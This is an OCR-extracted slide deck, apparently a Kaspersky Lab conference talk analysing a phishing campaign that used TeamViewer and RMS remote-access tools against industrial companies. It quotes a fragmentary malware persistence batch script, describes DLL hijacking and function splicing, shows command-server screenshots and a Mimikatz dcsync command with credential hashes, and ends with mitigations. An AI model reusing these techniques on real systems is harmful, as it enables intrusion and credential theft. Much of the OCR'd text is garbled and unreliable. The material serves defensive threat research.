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Unusual phishing emails

From: OTgen MOHMTOpKMHIA LEHOBOM NoAMTHMKKM [mailto:info@ .ru]
Sent: Wednesday, April 25, 2018 2:56 PM
To:

Subject: ucx: 7797072

LHobpuiii dens, Bawia xomnanua evldpana ¢ kavecmee nocmaguura obopyooeanua d1a
HYHCO . . 8 NPOJOINHCeHUe Pa32080Pa ¢ cexpemapeM evichliarn Bav 3anpoc Ha npedocmasieqiie
HeoDX00UMOTl OOKVMEeHMAaYLUU U Pe2UCmpayLul 8 eOuHotl ompaciegoil npozpamme.

Huousudvanssuiil kod (napoas) 014 3anycka npozpavmst 3axyvnox. 917815

Hughopmayuro o zaxynke Ne 7794447567/18-21 na cymmy 97455909,00 Pyé. #a Baue obopydosaniie bl Haildeme & noucke
QIMPACIe&0tl HPOZPAMMBL 3AKVHOK RO HoMepy Ne7794447567/18-21

IIpocum Bac nodame 0oKymeHmst He nosxce 27.04.2018.7

C Veaxcenuen,

Omoen MOHUMOPUHSA YeHOROT NOTUMUKU

Ten.: +7 (495) 12

OxasaHHe MOAIEPHERH EHOED CO31a HHEIM HITH EOTTeIIIHM HHEM 00pasoM B COCTAE OpTa HEsa ITHA
CHCTEMY 23KYIIOK

- OPTaHH3AMHAM OTPACTH B YaCTH HX JeHCTEHA N0 ECTPAHEA HEIO B & THE 0

B - AefiCTEYeT eQHHAR OTPACTSEa  IOMHTHES OCYIIECTETSHAA 33 Ky MOTHOH JeATeNEHOCTH Tepes EHY TPeHHSI0 IPOTPatMy 32Ky mok. JocTINeHE: e HHCTER
MOAX0AA K CHCTEME 3aEyIIOK 3 KT eTCA B efHHEX IPaERIaX SAKYII09HOH QefTeIbHOCTH . OTEPHITOCTH (@IHHER cafT 4714 Iy O/IHEA IHH HEdopMa IHE O TPOE0AHMEX 3aEyIEAX),
AETOME TH3a ITHE H HE(OpMa ME0HEOH MoIAepiHEe . e HHOM 0I0Ke ROHTPOIA H HaKasa HHE
(e HEEIe OPTAHEL J71E PACCMOTPEHHE Han00, Mephl ESEICKAHHE 33 HAPYIIEHHA, «TOPAYa  THHND 00 Gopele ¢ XHMIeHHAME H MOIIEHHHYeCTECM), EHY TDEHHeH MOTHEA ITHH OpPTa HH3a IHH
oTpacTH (cHoTeMa 00yueHns padoTHEROE oTpachn, KIT3), MepoNpHATHH 00 NPHEISTSHIED TOCTABNHECE H 0 OIS CTESHHOCTE.

BHOEE COSTaHHRE HIH BOIEAIINE HHEM 00pasoM B COCTAE OpTa HISa ITHA OpPraHHsaH OTPACAH B COOTESTCTERH C IpHIomennem Ne 1 & . obecIerEa 0T

NPHCOETHHEHHE K 7 E mopAgEe, VCTAHOEISHHOM CTATEEH 2 3 H DOPEEKOM, VTEEPEIEHHE IPHED 308 or 19102011 Ne

***+*HacTomues coodlleHHe (BRIHOYAA TIble TPHIMKEHHA K HEMY) NPeIHATHAYEHO TOABKO 118 YKA3aHHOTO B HeM agpecata. Econ gannoe coofmenne nonano ¥ Bam no Ind USt"al .

ownidKe, NoRaIyHCTa, He3aMeIHTeIbHO NTPoHHGOPMEPYiTe 00 3TOM €ro 0THPaBHTES, a caMo coodimenne yHuyToAbTe. HacTosnmum BaM Takske coofimaercs, uro modoe Cybersecurlty 2018:
HecaHKLHOHHPOEAHHOE PaCKPBITHE, KONHPOBaHHe HIH PACIPocTpaHeHHe JaHHOTO Co001IeHNs K COBeplieHHe KaKHX-H0 JeficTERIl, 0CHOBAaHHEIX Ha HHQOpPMALINH, Opportunities and challenges
codepixaleiics E HeM, CTPOTO 3anpemieno. Cogepalinecs B co0dIMeHNH YTECP:AIeHHA He HEAIOTCH 0 PHUHAIEHOH Mo3HLHedH » €CJTH HHOE NPAMO He YRa3aHo

in Digital Transformation
OTNPaEHTEJIEM.
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Malware persistence

@echo
@echo
mkdir

xc&ﬁy

del ,
~,1'c1r1-
start

ott
of+
"wappdatai®%\LocalDataNT"
/Y /1 "%~dp@*" "%appdata%\LocalDataNT\"
Jg "kappdata®\lLocalDataNT\updatecache.bat"
o Mkappdatak\LocalDataNT\seldonl.7- Hctlﬂbtdll
" Pkappdataki\LocalDataNT\WinPrint “r HlHFrlHt}.C exe

Typical storages for this attack:
%AppData%\LocalDataNT
%AppData%\NTLocalAppData
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“Corrupted” attachments

Sticky Notes
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Mozilla
Firefox
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PDF documents

17.01.2018 17.01.2018
MNoctyn. B Gaxk nnar. CnMcaHo co oM. NnaT.
MNATEXHOE MOPYYEHME Ne 20 17.01.2018 — [ ]
Dara Bua nnatexa
Cymma CTo geesHOCTO NATL ThicaY pyBnei 00 koneek
NponUCERD
WHH KN Cymma | 195000-00
OBlecTeo C OrpaHU4eHHOR DTBETCTBEHHOCTLID
Cu.Ne | 407028104
MoarensuwmMe
I | BMK 044030786
CAHKT-NETEPEYPI Cu.Ne | 301018106
Baknk nnarensumka
I CAHKT- BMK 044030653
MNETEPBYPI Cu.Ne | 301018105
Baxk nony4atens
AHH KN Cu.Ne | 407028103
ODOII L]
Bupon. |01 Cpok nnar.
Haa. nn. Quep. nnart. | 5
MNonyuatens Kon Pea. none
| | | |
Onnata no c4éty Ne V0000194 oT 16.01.2018 3a a/m Mitsubishi Lancer (Y6S), VIN: JMBSNCS3A7UQ .B
Tom yncne HAC 29745.76 py6.
Hasmauenve MNETERA s
Mogrmcu OrmeTrm Danka
M.M.
MCAONHERO
17.01.2018
LoxyMeHT NepegaH B aNeKTPOHHOM Bie

Industrial
Cybersecurity 2018:

Opportunities and challenges
in Digital Transformation



Bug, feature or vulnerability?

In case of importing system DLLS only by filename dynamic libraries will be
found in folder from system %PATH% variable

peCASucService . exe PE _BBAC11A3 |Hiew 8.33 (c)SEN
ctRgn FBPatBlt GDI32.d11 A GetSaveFileNameW 2 GetOpenFileNamelW! * CommDlgExtendedError COMDLG3IZ2.d11l *~ ControlService W Clos
eServiceHandle J@0penServicel! -E0penSCManagert! j8SetSecurityDescriptorOuwner & CreateWellKnownSid pESetSecurityDescriptorGrown
p |IBSetSecuritylescriptorDac]l 2BSetEntriesInfAclW wElnitializeSecurityDescriptor [MEMakeSelfRelativeSD B8RegCloseley “BRegSetla
lueExl! aBRegOpenKeyExW nBRegQuerylaluseExl! DERegDeleteKeyd HERegDeletelUaluel 98RegCreatelevyExlt h8RegQuervyinfoleuyld O08RegEnumleyE
xil eEGetlUserNamel CryptCreateHaszh CryptAcgquireContextW L CryptHashData ;i CryptReleaseContext || CruptDestroyHazh — CryptGet
HazhParam & CryptAcguireContextfl 1 CryptGenRandom ADUAPI3Z2.d11l "ES8hellExecutel! = ExtractIconExt) ™ SHGetSpecialFolderLocation .
U sHGetFilelnfol .EShell MotifylconW + DragfAcceptFiles { SHBrowseForFolderW < SHGetMalloc |} SHGetPathFromIDListW B SHGetSpeci TeamV|ewer
alFolderPathl! « DragFinish ¥ DragQueryFile! + ExtractIconW » SHAppBarMeszage SHELL32.d1]1 =zEStringFromlID = IIDFromString B CoC
reatelnstance [ CLSIDFromString h CoTaskMemFree yEStringFromGUIDZ §&80leLockBRunning & CoGetClassObject ¢ CLSIDFromProglID g CoTa
skMemfilloc: & CreateStreamOnHGlobal 280lelnitialize I@0lellninitialize PEProplariantClear WERegisterDragDrop YEHevokeDragDro i
CoTazkMemRealloc @ ColnitializeSecurity 1 Collninitialize + GCoFreelnusedLibrariez > Colnitialize ole3d2.dl1 OLEAUT3Z.d11 A=
socQueryStringll @ PathCompactPathl! SHLWAPI.dll o ImageList_Replacelcon € InitCommonControlsEx £ Imagelist Draw ¢ Imagelist_Get
IconSize g ImageList_SetBkColor § ImageList_Create T ImagelList_Destroy m ImageList_Remove 1 DestroyPropertySheetPage & Proper
tySheet 0 CreatePropertySheetPagell b ImagelList_Getlcon P ImageList_BeginDrag * ImagelList_EndDrag B ImageList_DragMove U Image
Liszst_DragEnter W ImagelList_DragLeave COMCTL32.d11 6 WSAloctl H WSAReszetEvent WSACreateEvent € WSACloseEvent Y WSAWaitForMult
ipleEvents * WSAEventSelect H WSASetEvent D WESARece F HEHREGUFPDM I WEASend & WSASocketW " USADuplicateSocketW WS2_32_d11 1]
1phaBlend EIHG32 dl F HNetﬂluaeEnum [ HNetEnumReauurceu HNetﬂpenEnumu HPR dll e NetﬂplﬂufferFree r HetServerEnum BEHetWksta
= O O X o [ 2 Tla O (o H = O O 2

WinPrint _exe_ FPE _80842B2D1 |Hiew 83.33 (c)EEH
Ljﬂ QBE tlj@ ~]/|@ Fll@ Z|la illa n, a8 e e ella B8 Ep® Rpd Zp@ ppB@ enpd ap® o
EHE =78 30 A8 By®@ U388 k@ bh3® 3@ (1@ 119 B'—B =408 |‘|IB j.liIB l-lIIB I FB «f|@ U|IB ﬁilﬂ 1||B "‘IIB LIIB }IIE ||E ‘IIIlB * B [‘:IB }FIE i@ Hﬂlll:l‘
Fiﬂ 315 niﬂ diﬂ Ti{® r{@® J1E hqﬂ Ihe na H1E An8 fq8 g8 Ejﬂ e e Jﬂﬂ i@ —15 +ig iy xJH ellg Rle % H i@
ulm 5lim ”B pum Um pug :lm plg KU U@ 30@ FU@ SU@ | e | HU'm U'm rim HE 4@ JB Rﬂﬂ 153 ﬁﬂﬂ i@ -4d@ H4@ HE 48 «08 48 .,
18 <98 Hq® ~8 =18 &8 ET-] @ 2578 Fi8 78 i@ H;l@ }ﬂﬂ 1@ IH w8 me —Jl&@ 2]l rie #e EEGetTempFileMamed a
CreateMutexl! EwlaitForSingleObject -¥SetFEvent ﬂTermlnateThread 1¥UP1tePP1uatePrnfileEtrlngU maGetTempPathl! gEGetLastError <
wietLastError fResetFuvent sEGetLocalTime P CreateFventW awWaitForMultipleObjects 18ReleaseMutex <4 CloseHandle G¥WaitMamedP FQ“ASS

ipel! U CreateFilel! BvSetMamedPipeHandleState < ConnectMamedPipe c CreateMamedPipeW! JBReadFile GEGetOverlappedResult i Disconn
ectMamedPipe XBLocalflloc Y¥8GetPrivateProfileStringy 5 FindFirstChangeMotificationW hBMapliewOfFile gvlUnmapliewdfFile UwSleep
FEGetExitCodeProcess + FileTimeToSystemTime GEGetPrivateProfilelnty U CreateFileMappingX [ FindMextChangeMotification 3IwWTSGe
tActiveConsoleSessionld e®GetFileTime 3 DeleteFileVW SGetSystemTime o CreateThread i CreateProcessW  BEGetCurrentProcess dwllrit
eFile “BlLocalFree KERNEL3Z2.d1ll j®JaitForlnputldle USER32.d4d11 d FindFirstPPintEPChangEHutificatiun « GlozePrinter o SetJobl e

FindHextPrinterChangeMotification g FreePrinterMotifylnfo c FindClosePrinterChangeMotification OpenPrinterl! m GetJobW O Enum

Johsl IR O AN DR HEEtaPtEEPU1EECtP1D1“DatChEP” 4@1n1t1a11“ESECUP1tyDE“CP1DtDP :BEetSecurityDescriptorDacl "@REgQuEPgUaluEExU

Fl-He glpen e u gz g le He gl s *IHand lerbold LS. e atuz  ME0penProcezszToken GEGE okenlnt orma op
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Windows %PATH% management

To search files called by filename (not by full file path) | ™=
Windows uses specific algorithm: User varitles for e

Variable Value

1. Current (active) directory oah Cirogenries s
2. Directories from system %PATH% e "USERPROFILE% WopData\LocaliTem
environment variable

3. Directories from user %PATH%

New.. || Edt. || Delete

System variables

environment variable Variabe Value .

MUMBER_OF P... 2 7
03 Windows_NT |

C:\Windows\system32;C: \Windows;Ci\...
PATHEXT .COM; .EXE; .BAT;.CMD;.VBS; .VBE;.15;.... ™

| mMew.. || Edit.. || Delete |

[ Ok ][ Cancel ]
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Windows DLL Hijacking technique

All API calls Selected API calls

A 4
A 4

RAT Malware DLL System DLL

Industrial
Cybersecurity 2018:
Opportunities and challenges
in Digital Transformation



Splicing in attacks with TeamViewer

To hide malware activity from user and TeamViewer software self check algorithms
threat actors used rootkit technique called splicing:

Original function code Hooked function code
; HANDLE __stdcall CreateFilelW(LPCWSTR 1lpFileName, DWORD dwDesiredAccess, ; HANDLE __stdcall CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWOI
public CreateFilell public CreateFilell
CreateFilell proc near ; CODE XREF: CreateFileA+31}lp CreateFilell proc hear ; CODE XREF: CreateFileA+31}lp
; DATA XREF: .text:off_TS40FAZ8lo ;: DATA XREF: .text:off_TS40FAZ28Jo
nou odi edi . jmp near ptr 100GDF93h
) CreateFilell endp
push ebp
mov ebp, esp R
push ecx , push ecx
push ecx . push ecx
push [ebptlpFileName] push dword ptr [ebp+8]
lea eax, [ebptvar_8] lea cax, [ebp-8]
push eax . . . push eax,
call  ds:RtlInitUnicodeStringkx call  ds:RtlInitUnicodeStringEx
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RAT custom builds

ﬁ_,'-?—,.! M5l Configurator

3. Advanced options

Internet-ID  Other

Set or update Internet-ID connection settings
Generate a new Internet-ID code
Send Internet-ID to email:

|a|:|min @Emycompany.net

[] ask the user to identify themselves

Automatically generate Host password
Encrypt password

Custom text for email:

[ ] Also generate new Internet-ID code for existing Hosts

(®) Uge default {public) Internet-ID server

O Specfy custom Internet-ID server
Address; Port:

Use IPva
[ ] Also update existing Hosts with the selected server

Ak

< Back

Threat actors used legitimate RM
Host Agent build configurator that
allow them to use old RM Host
versions without integrity check.

After it they extracted RM Host binary
and needed DLLs from custom RM
Agent build.
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RMS back connections and notifications

<?xml version="1.8" encoding="UTF-8"?>
<rms_inet_id_notification version="68601"><email>drozde4
applied>true</settings_applied><use_id settings>true</use_id settings>«
e</generate_new_password><ask_identification>false</ask_identification><version>68001</version><password></password><internet_id></intern
et_id><disclaimer></disclaimer><additional_text>-- RMS Build 2 --</additional text><overwrite id code>false</overwrite_id code><overwrite
id_settings>false</overwrite id settings><id_custom_server_use>false</id_custom_server_ use><id_custom_server_ address></id_custom_server_|
address><id_custom_server_port»>5655</id_custom_server_port><id_custom_server_ipv6>false</id_custom_server_ ipvé><computer_name></computer_

name><self identification></self identification></rms inet id notification>

mail.com</email><send_to_email>true</send_to _email><sent>false¢/sent><settings
(generate_new_id>true</generate_new_id><generate_new_password>fals

AF2049ACB44C58DD22B28825CFD30213E3576FB28D04D6BD95F 14 1DDE81D579579A57DBEF6E30BE3EFA7FFC
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Attacks with TeamViewer connections and notifications

Jtv/egetinfo.php

I l.-.jir" dows NT 6.1 I

vcgroup=MsHubSvc4d

vename=usbhubsvcd

vi'all‘*—”l'r“qﬁ—+ USB 3.@ Hub 4

3.8 Hub Control Service 4

5\
5
5

LA

-'."_typE=;

_keyname=
arun_fldname=Servi
arun_f1dd lanagme
Erur_—luullszellﬂl.cll
arun_f1ldindex=46
fuactmr=0
teamviewervpn=1

Malware configuration file @ industrial

Cybersecurity 2018:

Opportunities and challenges
in Digital Transformation



CnC server Inside

Thanks to cooperation with the hosting provider, Kaspersky Lab experts were able
to access data located on the malware command and control server

RS -urope/Moscow [~
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CnC server ins

ide

B3xan ratnuus
BoirpyanT darn: | [ O630p.. | Boirpy3wTh Ha Cepaep -H:t]::f_‘tﬂ

e Bot 1D Bot 1P Bebka/Ayane  KoMMedTapui Oeinadn
2 = - = 91, Het / Het Craphii Offline
B T TVRAT wer 0.3.2.1e VPN Het

bor 1P 01.13%.208.54 (RU/Russian Federation) [?] |OS 6.3 (Win8.1) x64 UAC LVL [Craupapr

Bebwa/Ayamo |Het / Het Build 9200 (SP 0.0) Elevated Her

Nobarnen 31.10.2017 15:59:57 User AnMuH RunAsfAdmin  Her

Orcryqan 21.11.2017 12:54:45 Computer 1CSERVER AdminGroup =

Mpocransaer  |00:00:00 Anmeanpycm | Windows Defender, ESET Smart Secunity 9.0.408.1

Komanna Bunonwwm, Pe3IyNeTaT nocnensed: Heypava
KomueHTapui | Crapui@ Hanuwcams

YNanum Ynanurs borta

3 [E <OFFLINE> e 91. Oa f Oa - — Offline
Bov 1D < DFFLINE > TVRAT wver (0.3.2.1e VPN Na

Bot TP 91,192,.75.139 (RU/Russian Federation) [7] [0S 10.0 (Win10) x64 UAC LV Huzemia

Bebwa /Ayano a/ la Build 5200 (SP 0.0) Elevated Het

Nobasnen 02.11.2017 15:56:06 User Oner RunAsAdmin  Het

Orcryvan 15.11.2017 19:56:49 Computer LENOWO-PC AdminGroup  [a

lNpocramsaer  (00:00:00 ANTHBHpYCH | Windows Defender, ESET Smart Securly

KomMauna Banonsnme | PEIYNLTAT nocnensed: Heynaua
KoMHEeHTapHE | Hanwcars

Ynanurh Yaanuts Hora
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CnC server Inside

29 B - = 79. Her / Het HaHkn pMc nocTasun Offine

bor 1D — [IVRAT ver 0.3.2.1e VPN Hert

bor IP 79. (RU/Russlan Federation) (2]  |0S 6.3 (Win8.1) x86 UAC LVL Huowmi

BeGka/Aynmo  Her / Her Build 9200 (SP 0.0) Flevated Her

Jlobasnen 02.11,2017 16:48:10 User il RunAsAdmin Her

Orcryvan 13,11.2017 18:09:43 Computer AdminGroup  [la

Mpocransaery 00:00:00 Anmwenpycs  Windows Defender

Komanna - | Bunonwwm, | Peaynetar nocneawed: Heyaava

KomMentapui | Garku pMe nocTasm | Hanwcarm

Yapannin Yaanuis 6ora |

30 B - @95 e Her / Her OMEHL XOPOLWMWE CYMMBIbI Ofthne

bot 1D - - TVRAT ver  0.3.2.1e VPN Het

bor 1P 05. W (RU/Russian Federation) [2] |OS 6.1 (Server2008 R2) x64 __ UAC LVL _Bucoxu_

Bebxa/Ayawo Her /Her Build 7601 (SP 1.0) Elevated  Her

Nlobannen 02.11,2017 16:52:00 ;User RunAsAdmin  Her

Orcryqan 06.06.2018 15:42:50 Computer AdminGroup  Her

llpocranpsaer (00:00:00 ANTHBHPYCHI

Komaupa ‘ | Banonsmts  Pesynutar nocnegmsen: Yonemso

Kommentapwit  OUEHH XOPOLWMWE CYMMbIbI | Hanwcam

Yaanwm, " Ypanwm 6ora |

3 B mm 195, Her / Het PABOTATL 1 C))) Offline
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CnC server Inside

i 19 B = 95.47. Oa / Oa MEHEQXEDP HO MOYTa HOPM Offline
: bor 1D 262073518 TVRAT ver (0.3.2.1e VPN Her

bor IP 95.47. (RU/Russian Federation) [?] |O0S 16.3 (Win8.1) x64 UAC LVL BbiCOKMA
: Bebka/Ayano [a / [la Build |9200 (SP 0.0) Elevated Het
Nobasnex 02.11.2017 16:24:38 User Manager RunAsAdmin  |Het
|Orcryuan 10.06.2018 18:55:48 Computer HP_PAVILION_17 AdminGroup Het
Mpocransaer  |00:00:00 AuTueupycw | Windows Defender
Komanpa | BuinonHuTe | Pe3ynbTaT nocnegHeRr: YCnewHo
KoMMeHTapWii | MeHegXep HO NouTa HOpM ' Hanucats |
Ynanuts | Ypanum 6ota |

16 B mm 109.74. Da / Da ++++++++++ [EE ) Offline
bot ID 253470867 TVRAT ver 0.3.2.2 VPN Ha

bot IP 109.74. (RU/Russian Federation) [?] |0S 6.1 (Win7) x86 UAC LVL Cranpapt

Bebwa/Ayano |Ja/ [da Build 7601 (SP 1.0) Elevated Het

Jobaenen 02.11.2017 16:21:15 User nuaua RunAsAdmin Het

OTcTyuan 09.04.2018 12:23:21 Computer MAHESH AdminGroup |[a

lMNMpocramBaer |00:00:00 AHTUBHMpYCbI |ESET NOD32 Antivirus

Komaunpna | | BbINONHAUTL | PezynbTaT nocnegHen: YonewxHo
KoMMeHTapmii  |++++++++++ npomka ))) | Hanucamb |

Ynanutb | Ypanutb 6oTa |
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Second stage malware

- Babylon RAT
 Betabot/Neurevt
 AZORuIt stealer
« Hallaj PRO Rat

Keylogging

Screenshots capturing

System and applications info stealing
Additional malware downloading
Proxy server

Password stealing

IM history stealing

DDoS attacks

Network traffic sniffing and spoofing
User files stealing
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Mimikatz

4

** SAM ACCOUNT ==

mimikatz(commandline) # Isadump::dcsync /domain:rd. adsecurity.org /user:Administrator

(0] Ird;adsecurity.org” will be the domain Mimikatz — a tool that
[DC] 'Administrator' will be the user account a”OW attaCkerS to eXtI'aCt

Object RDN : Administrator

domain users passwords,

SAM Username : Administrator it,S haSheS and Other aUth

Account Type : 30000000 ( USER_OBJECT )

User Account Control : 00000200 ( NORMAL_ACCOUNT ) I
Account expiration . data from WlndOWS

Password last change : 9/7/2015 9:54:33 PM
Object Security ID : S-1-5-21-2578996962-4185879466-3696909401-500 memory

Object Relative ID : 500

M: 96ae239aelf8f186a205b6863a3c955f

: 96ae239aelf8f186a205b6863a3c955fF
: 5164b7a0fda365d56739954bbbc23835
: 7c08d63a2f48f045971bc2236ed3f3ac
: 6cfd3clbec30b3fesd716fef10f46e49
: d1726cc03fb143869304c6d3f30fdb8d

Supplemental Credentials:

* Primary:Kerberos-Newer-Keys *

Default Salt : RD.ADSECURITY.ORGAdministrator

Default Iterations : 4096
Credentials
aes256_hmac (4096)
aes128_hmac (4096)
des_cbc_mdS (4096)
rc4_plain (4096)
OldCredentials
aes256_hmac (4096)
aes128_hmac (4096)
des_cbc_md5 (4096)
rcd_plain (4096)

2394f3a0f5bcOb5779bfch10e5d845e78638deacld2e3674af58a674b67e102b

; f4d4892350fbc545f176d418afabf2b2
: 5d8c9e46ad4ad4acd
: 96ae239aelf8f186a205b6863a3c955f

: 0526e75306d2090d03f0ealelf68laaeSae591e2d9c27ead9c3322525382dd3f
: 4cd4led4d7a3e932d64feced264d48ale

: 5bfd0d0efe3e2334 . .
: 5164b7a0fda365d56739954bbbc23835 Cybersecurity 2018:
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Protection and mitigation

1. Control all remote administration tools installations:

2.

3.

4.

Keep AV software bases up to date on all machines;

Disable SeDebugPrivilegies where it possible;

Control all network connections from industrial network to detect illegitimate
remote administration tools installation;

Training users to prevent the opening of phishing emails

Industrial
Cybersecurity 2018:
Opportunities and challenges
in Digital Transformation



LET’S TALK?

Kaspersky Lab HQ

39A/3 Leningradskoe Shosse
Moscow, 125212, Russian Federation
Tel: +7 (495) 797-8700
www.kaspersky.com
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